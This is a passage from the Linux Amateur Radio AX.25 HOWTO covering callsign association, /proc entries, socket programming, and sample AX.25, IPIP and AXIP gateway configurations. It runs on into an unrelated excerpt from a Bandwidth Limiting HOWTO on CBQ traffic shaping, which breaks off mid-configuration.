Configuring the user_call programs |  | Associating AX.25 callsigns with Linux users


Associating AX.25 callsigns with Linux users

Linux Amateur Radio AX.25 HOWTO
Prev Next

18. Associating AX.25 callsigns with Linux users

There are a number of situations where it is highly desirable to associate a callsign with a linux user account. One example might be where a number of amateur radio operators share the same linux machine and wish to use their own callsign when making calls. Another is the case of PMS users wanting to talk to a particular user on your machine.

The AX.25 software provides a means of managing this association of linux user account names with callsigns. We've mentioned it once already in the PMS section, but I'm spelling it out here to be sure you don't miss it.

You make the association with the axparms command. An example looks like:

# axparms -assoc vk2ktj terry

This command associates that AX.25 callsign vk2ktj with the user terry on the machine. So, for example, any mail for vk2ktj on the pms will be sent to Linux account terry.

Remember to put these associations into your rc file so that they are available each time your reboot.

Note you should never associate a callsign with the root account as this can cause configuration problems in other programs.

Prev | Home | Next
Configuring the ROSE Uplink and Downlink commands |  | Configuring APRS


Configuring APRS

Linux Amateur Radio AX.25 HOWTO
Prev Next

19. Configuring APRS

Note

This section has yet to be written. It should cover aprsd, aprsdigi, aprsmon, xastir, JavAPRS, etc.

Prev | Home | Next
Associating AX.25 callsigns with Linux users |  | The /proc/ file system entries


The /proc/ file system entries

Linux Amateur Radio AX.25 HOWTO
Prev Next

20. The /proc/ file system entries

The /proc filesystem contains a number of files specifically related to the AX.25 and NET/ROM kernel software. These files are normally used by the AX52 utilities, but they are plainly formatted so you may be interested in reading them. The format is fairly easily understood so I don't think much explanation will be necessary.

/proc/net/arp

contains the list of Address Resolution Protocol mappings of IP addresses to MAC layer protocol addresses. These can can AX.25, ethernet or some other MAC layer protocol.

/proc/net/ax25

contains a list of AX.25 sockets opened. These might be listening for a connection, or active sessions.

/proc/net/ax25_bpqether

contains the AX.25 over ethernet BPQ style callsign mappings.

/proc/net/ax25_calls

contains the linux userid to callsign mappings set my the axparms -assoc command.

/proc/net/ax25_route

contains AX.25 digipeater path information.

/proc/net/nr

contains a list of NET/ROM sockets opened. These might be listening for a connection, or active sessions.

/proc/net/nr_neigh

contains information about the NET/ROM neighbours known to the NET/ROM software.

/proc/net/nr_nodes

contains information about the NET/ROM nodes known to the NET/ROM software.

/proc/net/rose

contains a list of ROSE sockets opened. These might be listening for a connection, or active sessions.

/proc/net/rose_nodes

contains a mapping of ROSE destinations to ROSE neighbours.

/proc/net/rose_neigh

contains a list of known ROSE neighbours.

/proc/net/rose_routes

contains a list of all established ROSE connections.

Prev | Home | Next
Configuring APRS |  | AX.25, NET/ROM, ROSE network programming


AX.25, NET/ROM, ROSE network programming

Linux Amateur Radio AX.25 HOWTO
Prev Next

21. AX.25, NET/ROM, ROSE network programming

Probably the biggest advantage of using the kernel based implementations of the amateur packet radio protocols is the ease with which you can develop applications and programs to use them.

While the subject of Unix Network Programming is outside the scope of this document I will describe the elementary details of how you can make use of the AX.25, NET/ROM and ROSE protocols within your software.

21.1. The address families

Network programming for AX.25, NET/ROM and ROSE is quite similar to programming for TCP/IP under Linux. The major differences being the address families used, and the address structures that need to be mangled into place.

The address family names for AX.25, NET/ROM and ROSE are AF_AX25, AF_NETROM and AF_ROSE respectively.

21.2. The header files

You must always include the `netax25/ax25.h' header file, and also the `netrom/netrom.h' or `netrose/rose.h' header files if you are dealing with those protocols. Simple top level skeletons would look something like the following:

For AX.25:

#include <netax25/ax25.h>
int s, addrlen = sizeof(struct full_sockaddr_ax25);
struct full_sockaddr_ax25 sockaddr;
sockaddr.fsa_ax25.sax25_family = AF_AX25

For NET/ROM:

#include <netax25/ax25.h>
#include <netrom/netrom.h>
int s, addrlen = sizeof(struct full_sockaddr_ax25);
struct full_sockaddr_ax25 sockaddr;
sockaddr.fsa_ax25.sax25_family = AF_NETROM;

For ROSE:

#include <netax25/ax25.h>
#include <netrose/rose.h>
int s, addrlen = sizeof(struct sockaddr_rose);
struct sockaddr_rose sockaddr;
sockaddr.srose_family = AF_ROSE;

21.3. Callsign mangling and examples

There are routines within the lib/ax25.a library built in the AX.25 utilities package that manage the callsign conversions for you. You can write your own of course if you wish.

The user_call utilities are excellent examples from which to work. The source code for them is included in the AX.25 utilities package. If you spend a little time working with those you will soon see that ninety percent of the work is involved in just getting ready to open the socket. Actually making the connection is easy, the preparation takes time.

The examples are simple enough to not be very confusing. If you have any questions, you should feel to direct them to the linux-hams mailing list and someone there will be sure to help you.

Prev | Home | Next
The /proc/ file system entries |  | Some sample configurations


Some sample configurations

Linux Amateur Radio AX.25 HOWTO
Prev Next

22. Some sample configurations

Following are examples of the most common types of configurations. These are guides only as there are as many ways of configuring your network as there are networks to configure, but they may give you a start.

22.1. Small Ethernet LAN with Linux as a router to Radio LAN

Many of you may have small local area networks at home and want to connect the machines on that network to your local radio LAN. This is the type of configuration I use at home. I arranged to have a suitable block of addresses allocated to me that I could capture in a single route for convenience and I use these on my Ethernet LAN. Your local IP coordinator will assist you in doing this if you want to try it as well. The addresses for the Ethernet LAN form a subset of the radio LAN addresses. The following configuration is the actual one for my linux router on my network at home:

                                         . . . . . .
  ___               _________         .
   | Network       /         \     .    Network
   | 44.136.8.96/29|         |    .     44.136.8/24        \ | /
   |               | Linux   |   .                          \|/
   |               |         |  .   _____      __________    |
   |          eth0 | Router  |  .  /     \    /          \   |
   |_______________|         |_____| TNC |____|  Radio   |__/
   |   44.136.8.97 |  and    |  .  \_____/    \__________/
   |               |         | sl0
   |               | Server  | 44.136.8.5
   |               |         |   .
   |               |         |     .
   |               \_________/        .
  _|_                                    . . . . . .

#!/bin/sh
# /etc/rc.net
# This configuration provides one KISS based AX.25 port and one
# Ethernet device.

echo "/etc/rc.net"
echo "  Configuring:"

echo -n "    loopback:"
/sbin/ifconfig lo 127.0.0.1
/sbin/route add 127.0.0.1
echo " done."

echo -n "    ethernet:"
/sbin/ifconfig eth0 44.136.8.97 netmask 255.255.255.248 \
        broadcast 44.136.8.103 up
/sbin/route add 44.136.8.97 eth0
/sbin/route add -net 44.136.8.96 netmask 255.255.255.248 eth0
echo " done."

echo -n "    AX.25: "
kissattach -i 44.136.8.5 -m 512 /dev/ttyS1 4800
ifconfig sl0 netmask 255.255.255.0 broadcast 44.136.8.255
route add -host 44.136.8.5 sl0
route add -net 44.136.8.0 window 1024 sl0

echo -n "    NET/ROM: "
nrattach -i 44.136.8.5 netrom

echo "  Routing:"
/sbin/route add default gw 44.136.8.68 window 1024 sl0
echo "    default route."
echo done.

# end

/etc/ax25/axports
# name  callsign        speed   paclen  window  description
4800    VK2KTJ-0        4800    256     2       144.800 MHz

/etc/ax25/nrports
# name  callsign        alias   paclen  description
netrom  VK2KTJ-9        LINUX   235     Linux Switch Port

/etc/ax25/nrbroadcast
# ax25_name     min_obs def_qual        worst_qual      verbose
4800            1       120             10              1

  • You must have IP_FORWARDING enabled in your kernel.

  • The AX.25 configuration files are pretty much those used as examples in the earlier sections, refer to those where necessary.

  • I've chosen to use an IP address for my radio port that is not within my home network block. I needn't have done so, I could have easily used 44.136.8.97 for that port too.

  • 44.136.8.68 is my local IPIP encapsulated gateway and hence is where I point my default route.

  • Each of the machines on my Ethernet network have a route:

    route add -net 44.0.0.0 netmask 255.0.0.0 \
    gw 44.136.8.97 window 512 mss 512 eth0

    The use of the mss and window parameters means that I can get optimum performance from both local Ethernet and radio based connections.

  • I also run my smail, http, ftp and other daemons on the router machine so that it needs to be the only machine to provide others with facilities.

  • The router machine is a lowly 386DX20 with a 20Mb hard drive and a very minimal linux configuration.

22.2. IPIP encapsulated gateway configuration

Warning

Some information here on tunnelling is out of date. The setup has changed since the 2.0.x kernel, now the "ip" command from the iproute2 package should be used, as described in the Advanced Routing HOWTO.

Linux is now very commonly used for TCP/IP encapsulated gateways around the world. The new tunnel driver supports multiple encapsulated routes and makes the older ipip daemon obsolete.

A typical configuration would look similar to the following.

                                         . . . . . .
  ___               _________        .
   | Network       /         \     .    Network
   | 154.27.3/24   |         |    .     44.136.16/24       \ | /
   |               | Linux   |   .                          \|/
   |               |         |  .   _____      __________    |
   |          eth0 | IPIP    |  .  /     \    /          \   |
___|_______________|         |_____| TNC |____|  Radio   |___/
   |   154.27.3.20 | Gateway |  .  \_____/    \__________/
   |               |         | sl0
   |               |         | 44.136.16.1
   |               |         |    .
   |               |         |     .
   |               \_________/       .
  _|_                                    . . . . . .

The configuration files of interest are:

# /etc/rc.net
# This file is a simple configuration that provides one KISS AX.25
# radio port, one Ethernet device, and utilizes the kernel tunnel driver
# to perform the IPIP encapsulation/decapsulation
#
echo "/etc/rc.net"
echo "  Configuring:"
#
echo -n "    loopback:"
/sbin/ifconfig lo 127.0.0.1
/sbin/route add 127.0.0.1
echo " done."
#
echo -n "    ethernet:"
/sbin/ifconfig eth0 154.27.3.20 netmask 255.255.255.0 \
        broadcast 154.27.3.255 up
/sbin/route add 154.27.3.20 eth0
/sbin/route add -net 154.27.3.0 netmask 255.255.255.0 eth0
echo " done."
#
echo -n "    AX.25: "
kissattach -i 44.136.16.1 -m 512 /dev/ttyS1 4800
/sbin/ifconfig sl0 netmask 255.255.255.0 broadcast 44.136.16.255
/sbin/route add -host 44.136.16.1 sl0
/sbin/route add -net 44.136.16.0 netmask 255.255.255.0 window 1024 sl0
#
echo -n "    tunnel:"
/sbin/ifconfig tunl0 44.136.16.1 mtu 512 up
#
echo done.
#
echo -n "Routing ... "
source /etc/ipip.routes
echo done.
#
# end.

and:

# /etc/ipip.routes
# This file is generated using the munge script
#
/sbin/route add -net 44.134.8.0 netmask 255.255.255.0 tunl0 gw 134.43.26.1
/sbin/route add -net 44.34.9.0 netmask 255.255.255.0 tunl0 gw 174.84.6.17
/sbin/route add -net 44.13.28.0 netmask 255.255.255.0 tunl0 gw 212.37.126.3
   ...
   ...
   ...

/etc/ax25/axports
# name  callsign        speed   paclen  window  description
4800    VK2KTJ-0        4800    256     2       144.800 MHz

Some points to note here are:

  • The new tunnel driver uses the gw field in the routing table in place of the pointopoint parameter to specify the address of the remote IPIP gateway. This is why it now supports multiple routes per interface.

  • You can configure two network devices with the same address. In this example both the sl0 and the tunl0 devices have been configured with the IP address of the radio port. This is done so that the remote gateway sees the correct address from your gateway in encapsulated datagrams sent to it.

  • The route commands used to specify the encapsulated routes can be automatically generated by a modified version of the munge script. This is included below. The route commands would then be written to a separate file and read in using the bash source /etc/ipip.routes command (assuming you called the file with the routing commands /etc/ipip.routes) as illustrated. The source file must be in the NOS route command format.

  • Note the use of the window argument on the route command. Setting this parameter to an appropriate value improves the performance of your radio link.

The new tunnel-munge script:

#!/bin/sh
#
# From: Ron Atkinson <n8fow@hamgate.cc.wayne.edu>
#
#  This script is basically the 'munge' script written by Bdale N3EUA
#  for the IPIP daemon and is modified by Ron Atkinson N8FOW. It's
#  purpose is to convert a KA9Q NOS format gateways route file
#  (usually called 'encap.txt') into a Linux routing table format
#  for the IP tunnel driver.
#
#	 Usage: Gateway file on stdin, Linux route format file on stdout.
#               eg.  tunnel-munge < encap.txt > ampr-routes
#
# NOTE: Before you use this script be sure to check or change the
#       following items:
#
#     1) Change the 'Local routes' and 'Misc user routes' sections
#        to routes that apply to your own area (remove mine please!)
#     2) On the fgrep line be sure to change the IP address to YOUR
#        gateway Internet address. Failure to do so will cause serious
#        routing loops.
#     3) The default interface name is 'tunl0'. Make sure this is
#        correct for your system.

echo "#"
echo "# IP tunnel route table built by $LOGNAME on `date`"
echo "# by tunnel-munge script v960307."
echo "#"
echo "# Local routes"
echo "route add -net 44.xxx.xxx.xxx netmask 255.mmm.mmm.mmm dev sl0"
echo "#"
echo "# Misc user routes"
echo "#"
echo "# remote routes"

fgrep encap | grep "^route" | grep -v " XXX.XXX.XXX.XXX" | \
awk '{
    split($3, s, "/")
    split(s[1], n,".")
    if	(n[1] == "")	n[1]="0"
    if	(n[2] == "")	n[2]="0"
    if	(n[3] == "")	n[3]="0"
    if	(n[4] == "")	n[4]="0"
    if	(s[2] == "1")	mask="128.0.0.0"
    else if	(s[2] == "2")	mask="192.0.0.0"
    else if	(s[2] == "3")	mask="224.0.0.0"
    else if	(s[2] == "4")	mask="240.0.0.0"
    else if	(s[2] == "5")	mask="248.0.0.0"
    else if	(s[2] == "6")	mask="252.0.0.0"
    else if	(s[2] == "7")	mask="254.0.0.0"
    else if	(s[2] == "8")	mask="255.0.0.0"
    else if	(s[2] == "9")	mask="255.128.0.0"
    else if	(s[2] == "10")	mask="255.192.0.0"
    else if	(s[2] == "11")	mask="255.224.0.0"
    else if	(s[2] == "12")	mask="255.240.0.0"
    else if	(s[2] == "13")	mask="255.248.0.0"
    else if	(s[2] == "14")	mask="255.252.0.0"
    else if	(s[2] == "15")	mask="255.254.0.0"
    else if	(s[2] == "16")	mask="255.255.0.0"
    else if	(s[2] == "17")	mask="255.255.128.0"
    else if	(s[2] == "18")	mask="255.255.192.0"
    else if	(s[2] == "19")	mask="255.255.224.0"
    else if	(s[2] == "20")	mask="255.255.240.0"
    else if	(s[2] == "21")	mask="255.255.248.0"
    else if	(s[2] == "22")	mask="255.255.252.0"
    else if	(s[2] == "23")	mask="255.255.254.0"
    else if	(s[2] == "24")	mask="255.255.255.0"
    else if	(s[2] == "25")	mask="255.255.255.128"
    else if	(s[2] == "26")	mask="255.255.255.192"
    else if	(s[2] == "27")	mask="255.255.255.224"
    else if	(s[2] == "28")	mask="255.255.255.240"
    else if	(s[2] == "29")	mask="255.255.255.248"
    else if	(s[2] == "30")	mask="255.255.255.252"
    else if	(s[2] == "31")	mask="255.255.255.254"
    else 			mask="255.255.255.255"

if (mask == "255.255.255.255")
    printf "route add -host %s.%s.%s.%s gw %s dev tunl0\n"\
        ,n[1],n[2],n[3],n[4],$5
else
    printf "route add -net %s.%s.%s.%s gw %s netmask %s dev tunl0\n"\
        ,n[1],n[2],n[3],n[4],$5,mask
 }'

echo "#"
echo "# default the rest of amprnet via mirrorshades.ucsd.edu"
echo "route add -net 44.0.0.0 gw 128.54.16.18 netmask 255.0.0.0 dev tunl0"
echo "#"
echo "# the end"

22.3. AXIP encapsulated gateway configuration

Many Amateur Radio Internet gateways encapsulate AX.25, NET/ROM and ROSE in addition to tcp/ip. Encapsulation of AX.25 frames within IP datagrams is described in RFC-1226 by Brian Kantor. Mike Westerhof wrote an implementation of an AX.25 encapsulation daemon for UNIX in 1991. The ax25-utils package includes a marginally enhanced version of it for Linux.

An AXIP encapsulation program accepts AX.25 frames at one end, looks at the destination AX.25 address to determine what IP address to send them to, encapsulates them in a tcp/ip datagram and then transmits them to the appropriate remote destination. It also accepts tcp/ip datagrams that contain AX.25 frames, unwraps them and processes them as if it had received them directly from an AX.25 port. To distinguish IP datagrams containing AX.25 frames from other IP datagrams which don't, AXIP datagrams are coded with a protocol id of 4 (or 94 which is now deprecated). This process is described in RFC-1226.

The ax25ipd program included in the ax25-utils package presents itself as a program supporting a KISS interface across which you pass AX.25 frames, and an interface into the tcp/ip protocols. It is configured with a single configuration file called /etc/ax25/ax25ipd.conf.

22.3.1. AXIP configuration options

The ax25ipd program has two major modes of operation. "digipeater" mode and "tnc" mode. In "tnc" mode the daemon is treated as though it were a kiss TNC, you pass KISS encapsulated frames to it and it will transmit them, this is the usual configuration. In "digipeater" mode, you treat the daemon as though it were an AX.25 digipeater. There are subtle differences between these modes.

In the configuration file you configure "routes" or mappings between destination AX.25 callsigns and the IP addresses of the hosts that you want to send the AX.25 packets too. Each route has options which will be explained later.

Other options that are configured here are:

  • the tty that the ax25ipd daemon will open and its speed (usually one end of a pipe)

  • what callsign you want to use in "digipeater" mode

  • beacon interval and text

  • whether you want to encapsulate the AX.25 frames in IP datagrams or in UDP/IP datagrams. Nearly all AXIP gateways use IP encapsulation, but some gateways are behind firewalls that will not allow IP with the AXIP protocol id to pass and are forced to use UDP/IP. Whatever you choose must match what the tcp/ip host at the other end of the link is using.

22.3.2. A typical /etc/ax25/ax25ipd.conf file

#
# ax25ipd configuration file for station floyd.vk5xxx.ampr.org
#
# Select axip transport. 'ip' is what you want for compatibility
# with most other gateways.
#
socket ip
#
# Set ax25ipd mode of operation. (digi or tnc)
#
mode tnc
#
# If you selected digi, you must define a callsign. If you selected
# tnc mode, the callsign is currently optional, but this may change
# in the future! (2 calls if using dual port kiss)
#
#mycall vk5xxx-4
#mycall2 vk5xxx-5
#
# In digi mode, you may use an alias. (2 for dual port)
#
#myalias svwdns
#myalias2 svwdn2
#
# Send an ident every 540 seconds ...
#
#beacon after 540
#btext ax25ip -- tncmode rob/vk5xxx -- Experimental AXIP gateway
#
# Serial port, or pipe connected to a kissattach in my case
#
device /dev/ttyq0
#
# Set the device speed
#
speed 9600
#
# loglevel 0 - no output
# loglevel 1 - config info only
# loglevel 2 - major events and errors
# loglevel 3 - major events, errors, and AX.25 frame trace
# loglevel 4 - all events
# log 0 for the moment, syslog not working yet ...
#
loglevel 2
#
# If we are in digi mode, we might have a real tnc here, so use param to
# set the tnc parameters ...
#
#param 1 20
#
# Broadcast Address definition. Any of the addresses listed will be forwarded
# to any of the routes flagged as broadcast capable routes.
#
broadcast QST-0 NODES-0
#
# ax.25 route definition, define as many as you need.
# format is route (call/wildcard) (ip host at destination)
# ssid of 0 routes all ssid's
#
# route <destcall> <destaddr> [flags]
#
# Valid flags are:
#         b  - allow broadcasts to be transmitted via this route
#         d  - this route is the default route
#
route vk2sut-0 44.136.8.68 b
route vk5xxx 44.136.188.221 b
route vk2abc 44.1.1.1
#
#

22.3.3. Running ax25ipd

Create your /etc/ax25/axports entry:

# /etc/ax25/axports
#
axip	VK2KTJ-13	9600	256	AXIP port
#

Run the kissattach command to create that port:

/usr/sbin/kissattach /dev/ptyq0 axip 44.135.96.242

Run the ax25ipd program:

/usr/sbin/ax25ipd &

Test the AXIP link:

call axip vk5xxx

22.3.4. Some notes about the routes and route flags

The "route" command is where you specify where you want your AX.25 packets encapsulated and sent to. When the ax25ipd daemon receives a packet from its interface, it compares the destination callsign with each of the callsigns in its routing table. If if finds a match then the ax.25 packet is encapsulated in an IP datagram and then transmitted to the host at the specified IP address.

There are two flags you can add to any of the route commands in the ax25ipd.conf file. The two flags are:

b

traffic with a destination address matching any of those on the list defined by the "broadcast" keyword should be transmitted via this route.

d

any packets not matching any route should be transmitted via this route.

The broadcast flag is very useful, as it enables informations that is normally destined for all stations to a number of AXIP destinations. Normally axip routes are point-to-point and unable to handle 'broadcast' packets.

22.4. Linking NOS and Linux using a pipe device

Many people like to run some version of NOS under Linux because it has all of the features and facilities they are used to. Most of those people would also like to have the NOS running on their machine capable of talking to the Linux kernel so that they can offer some of the linux capabilities to radio users via NOS.

Brandon S. Allbery, KF8NH, contributed the following information to explain how to interconnect the NOS running on a Linux machine with the kernel code using the Linux pipe device.

Since both Linux and NOS support the slip protocol it is possible to link the two together by creating a slip link. You could do this by using two serial ports with a loopback cable between them, but this would be slow and costly. Linux provides a feature that many other Unix-like operating systems provide called `pipes'. These are special pseudo devices that look like a standard tty device to software but in fact loopback to another pipe device. To use these pipes the first program must open the master end of the pipe, and the open then the second program can open the slave end of the pipe. When both ends are open the programs can communicate with each other simply by writing characters to the pipes in the way they would if they were terminal devices.

To use this feature to connect the Linux Kernel and a copy of NOS, or some other program you first must choose a pipe device to use. You can find one by looking in your /dev directory. The master end of the pipes are named: ptyq[1-f] and the slave end of the pipes are known as: ttyq[1-f]. Remember they come in pairs, so if you select /dev/ptyqf as your master end then you must use /dev/ttyqf as the slave end.

Once you have chosen a pipe device pair to use you should allocate the master end to you linux kernel and the slave end to the NOS program, as the Linux kernel starts first and the master end of the pipe must be opened first. You must also remember that your Linux kernel must have a different IP address to your NOS, so you will need to allocate a unique address for it if you haven't already.

You configure the pipe just as if it were a serial device, so to create the slip link from your linux kernel you can use commands similar to the following:

# /sbin/slattach -s 38400 -p slip /dev/ptyqf &
# /sbin/ifconfig sl0 broadcast 44.255.255.255 pointopoint 44.70.248.67 /
    mtu 1536 44.70.4.88
# /sbin/route add 44.70.248.67 sl0
# /sbin/route add -net 44.0.0.0 netmask 255.0.0.0 gw 44.70.248.67

In this example the Linux kernel has been given IP address 44.70.4.88 and the NOS program is using IP address 44.70.248.67. The route command in the last line simply tells your linux kernel to route all datagrams for the amprnet via the slip link created by the slattach command. Normally you would put these commands into your /etc/rc.d/rc.inet2 file after all your other network configuration is complete so that the slip link is created automatically when you reboot. Note: there is no advantage in using cslip instead of slip as it actually reduces performance because the link is only a virtual one and occurs fast enough that having to compress the headers first takes longer than transmitting the uncompressed datagram.

To configure the NOS end of the link you could try the following:

# you can call the interface anything you want; I use "linux" for convenience.
attach asy ttyqf - slip linux 1024 1024 38400
route addprivate 44.70.4.88 linux

These commands will create a slip port named `linux' via the slave end of the pipe device pair to your linux kernel, and a route to it to make it work. When you have started NOS you should be able to ping and telnet to your NOS from your Linux machine and vice versa. If not, double check that you have made no mistakes especially that you have the addresses configured properly and have the pipe devices around the right way.

Prev | Home | Next
AX.25, NET/ROM, ROSE network programming |  | Summary of AX.25-related Linux commands


Summary of AX.25-related Linux commands

Linux Amateur Radio AX.25 HOWTO
Prev Next

23. Summary of AX.25-related Linux commands

This section summarizes all of the commands that are specific to AX.25.

Command | Package | Description
mheard | ax25-tools | Display AX.25 calls recently heard
ax25d | ax25-tools | General purpose AX.25, NET/ROM and ROSE daemon
axctl | ax25-tools | Configure/Kill running AX.25 connections
axparms | ax25-tools | Configure AX.25 interfaces
axspawn | ax25-tools | Allow automatic login to a Linux system
beacon | ax25-tools | Transmit periodic messages on an AX.25 port
bpqparms | ax25-tools | Configure BPQ ethernet devices
mheardd | ax25-tools | Collect information about packet activity
rxecho | ax25-tools | Route AX.25 packets between ports transparently
sethdlc | ax25-tools | Get/set Linux HDLC packet radio modem driver port information
smmixer | ax25-tools | Get/set Linux soundcard packet radio modem driver mixer
smdiag | ax25-tools | Linux soundcard packet radio modem driver diagnostics utility
kissattach | ax25-tools | Attach a KISS or 6PACK interface
kissnetd | ax25-tools | Create a virtual network
kissparms | ax25-tools | Configure KISS TNCs
net2kiss | ax25-tools | Convert a network AX.25 driver to a KISS stream on a pseudo-tty
mkiss | ax25-tools | Attach a multi KISS interface
nodesave | ax25-tools | Saves NET/ROM routing information
nrattach | ax25-tools | Start a NET/ROM interface
nrparms | ax25-tools | Configure the NET/ROM interface
nrsdrv | ax25-tools | KISS to NET/ROM serial converter
netromd | ax25-tools | Send and receive NET/ROM routing messages
rsattach | ax25-tools | Start a ROSE interface
rsdwnlnk | ax25-tools | User exit from the ROSE network
rsparms | ax25-tools | Configure the ROSE interface
rsuplnk | ax25-tools | User entry into the ROSE network
ttylinkd | ax25-tools | TTYlink daemon for AX.25, NET/ROM, ROSE and IP
rip98d | ax25-tools | Send and receive RIP98 routing messages
ax25_call | ax25-tools | Make an AX.25, NET/ROM, ROSE or TCP connection
netrom_call | ax25-tools | Make an AX.25, NET/ROM, ROSE or TCP connection
rose_call | ax25-tools | Make an AX.25, NET/ROM, ROSE or TCP connection
tcp_call | ax25-tools | Make an AX.25, NET/ROM, ROSE or TCP connection
yamcfg | ax25-tools | Configure YAM driver parameters
dmascc_cfg | ax25-tools | Configure dmascc devices
ax25ipd | ax25-apps | AX.25 into IP Encapsulator
ax25rtd | ax25-apps | AX.25 routing daemon
ax25rtctl | ax25-apps | AX.25 routing daemon control utility
call | ax25-apps | Make an AX.25, NET/ROM or ROSE connection
listen | ax25-apps | Monitor AX.25 traffic
ax25mond | ax25-apps | Dump the AX.25 network traffic and and provide sockets where the received data will be retransmitted
soundmodem | soundmodem | Soundcard modem driver
soundmodemconfig | soundmodem | Soundcard modem configuration utility
aprsd | aprsd | APRS daemon
aprspass | aprsd | APRS passcode generator
aprsdigi | aprsdigi | APRS digipeater
aprsmon | aprsdigi | Monitor APRS AX.25 traffic for JavAPRS

Prev | Home | Next
Some sample configurations |  | Where do I find more information about .... ?


Where do I find more information about .... ?

Linux Amateur Radio AX.25 HOWTO
Prev Next

24. Where do I find more information about .... ?

Since this document assumes you already have some experience with packet radio, and that this might not be the case, I've collected a set of references to other information that you might find useful.

24.1. Packet Radio

You can get general information about Packet Radio from these sites:

  • American Radio Relay League

  • Radio Amateur Teleprinter Society

  • Tucson Amateur Packet Radio Group

24.2. Protocol Documentation

  • AX.25, NET/ROM - Jonathon Naylor has collated a variety of documents that relate to the packet radio protocols themselves. This documentation has been packaged up into ax25-doc-1.0.tar.gz

24.3. Hardware Documentation

  • Information on the PI2 Card is provided by the Ottawa Packet Radio Group.

  • Information on Baycom hardware is available at the Baycom Web Page.

24.4. Linux Ham Radio Software

John Ackermann has a web site with information related to configuring AX.25 on Linux at http://www.febo.com/linux-ax25/index.html.

The Hamsoft Linux Ham Radio Applications and Utilities Database attempts to maintain a complete list of Amateur Radio related applications for Linux. It can be found at http://radio.linux.org.au.

Prev | Home | Next
Summary of AX.25-related Linux commands |  | Discussion relating to Amateur Radio and Linux


Discussion relating to Amateur Radio and Linux

Linux Amateur Radio AX.25 HOWTO
Prev Next

25. Discussion relating to Amateur Radio and Linux

There are various places that discussion relating to Amateur Radio and Linux take place. They take place in the comp.os.linux.* newsgroups, they also take place on the linux-hams list on vger.kernel.org. Other places where they are held include the tcp-group mailing list at ucsd.edu (the home of amateur radio TCP/IP discussions), and you might also try the #linpeople channel on the linuxnet irc network.

To join the Linux linux-hams channel on the mail list server, send mail to majordomo@vger.kernel.org with the line subscribe linux-hams in the message body. The subject line is ignored.

The linux-hams mailing list is archived at: http://hes.iki.fi/archive/linux-hams/ and http://web.gnu.walfield.org/mail-archive/linux-hams. Please use the archives when you are first starting, because many common questions are answered there.

To join the tcp-group send mail to listserver@ucsd.edu with the line subscribe tcp-group in the body of the text.

Note

Please remember that the tcp-group is primarily for discussion of the use of advanced protocols, of which TCP/IP is one, in Amateur Radio. Linux specific questions should not ordinarily go there.

Prev | Home | Next
Where do I find more information about .... ? |  | Acknowledgements


Acknowledgements

Linux Amateur Radio AX.25 HOWTO
Prev Next

26. Acknowledgements

Terry Dawson was the original author and maintainer of this HOWTO. Jeff Tranter took over as maintainer in 2001 to allow Terry more time to concentrate on AX.25 software development.

The following people have contributed to this document in one way or another, knowingly or unknowingly. In no particular order (as I find them): Jonathon Naylor, Thomas Sailer, Joerg Reuter, Ron Atkinson, Alan Cox, Craig Small, John Tanner, Brandon Allbery, Hans Alblas, Klaus Kudielka, Carl Makin, John Ackermann, Riley Williams.

Prev | Home | Next
Discussion relating to Amateur Radio and Linux |  | Feedback


Feedback

Linux Amateur Radio AX.25 HOWTO
Prev Next

27. Feedback

I rely on you, the reader, to make this HOWTO useful. If you have any suggestions, corrections, or comments, please send them to me, tranter@pobox.com, and I will try to incorporate them in the next revision.

If you publish this document on a CD-ROM or in hardcopy form, a complimentary copy would be appreciated; mail me for my postal address. Also consider making a donation to the Linux Documentation Project to help support free documentation for Linux. Contact the LDP at feedback@linuxdoc.org for more information.

Prev | Home | Next
Acknowledgements |  | Distribution Policy


Distribution Policy

Linux Amateur Radio AX.25 HOWTO
Prev

28. Distribution Policy

Copyright (c) 1996-1997 by Terry Dawson, Copyright (c) 2001 by Jeff Tranter. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available at http://www.gnu.org/copyleft/fdl.html

Prev | Home
Feedback |


Dealing with Other Bandwidth-consuming Protocols Using CBQ

Bandwidth Limiting HOWTO
Prev Next

4. Dealing with Other Bandwidth-consuming Protocols Using CBQ

We must remember that our LAN users can spoil our efforts from chapter 3, if they use Napster, Kazaa or Realaudio. We must also remember that we didn't block ftp traffic in section 3.3.

We will achieve it in a different way -- not by limiting downloading directly, but rather, indirectly. If our internet device is ppp0 and LAN device is eth0, we will limit outgoing traffic on interface eth0, and thus, limit incoming traffic to ppp0.

To do it, we will get familiar with CBQ and cbq.init script. You can obtain it from ftp://ftp.equinox.gu.net/pub/linux/cbq/. Download cbq.init-v0.6.2 and put it in /etc/rc.d/.

You will also need iproute2 installed. It comes with every Linux distribution.

Now look in your /etc/sysconfig/cbq/ directory. There, you should have an example file, which should work with cbq.init. If it isn't there, you probably don't have it compiled in your kernel nor it isnt't present as modules. Well, in any case, just make that directory, put example files provided below, and see if it'd work for you.

4.1. FTP

In chapter 3, we didn't block ftp for two reasons -- so that we could do uploads, and so that users with buggy IE5.5 could browse through ftp directories. In all, our web browsers and ftp programs should make downloads via our Squid proxy and ftp uploads/renaming/deleting should be made via IP-masquerade.

We create a file called cbq-10.ftp-network in the /etc/sysconfig/cbq/ directory:

# touch /etc/sysconfig/cbq/cbq-10.ftp-network

We insert the following lines into it:

DEVICE=eth0,10Mbit,1Mbit
RATE=15Kbit
WEIGHT=1Kbit
PRIO=5
RULE=:20,192.168.1.0/24
RULE=:21,192.168.1.0/24

You will find the description of thses lines in cbq.init-v0.6.2 file.

When you start /etc/rc.d/cbq.init-v0.6.2 script, it will read your configuration, which is placed in /etc/sysconfig/cbq/:

# /etc/rc.d/cbq.init-v0.6.2 start

If everything is working, we add /etc/rc.d/cbq.init-v0.6.2 start to the end of your initializing scripts. Usually, it can be /etc/rc.d/rc.local.

Thanks to this command, your server will not send ftp data through eth0 faster than about 15kbits/s, and thus will not download ftp data from the internet faster than 15kbits/s.Your LAN users will see that it's more efficient to use Squid proxy for doing ftp downloads. They will be also able to browse ftp directories using their buggy IE5.5.

There is also another bug in IE5.5 - when you right click on a file in a ftp directory then select 'Copy To Folder', the file is downloaded not through proxy, but directly through IP-masquerade, thus omitting Squid with delay pools.

4.2. Napster, Realaudio, Windows Media and other issues

Here, the idea is the same as with ftp; we just add another port and set a different speed.

We create file called cbq-50.napster-network in the /etc/sysconfig/cbq/ directory:

# touch /etc/sysconfig/cbq/cbq-50.napsterandlive

Put these lines into that file:

DEVICE=eth0,10Mbit,1Mbit
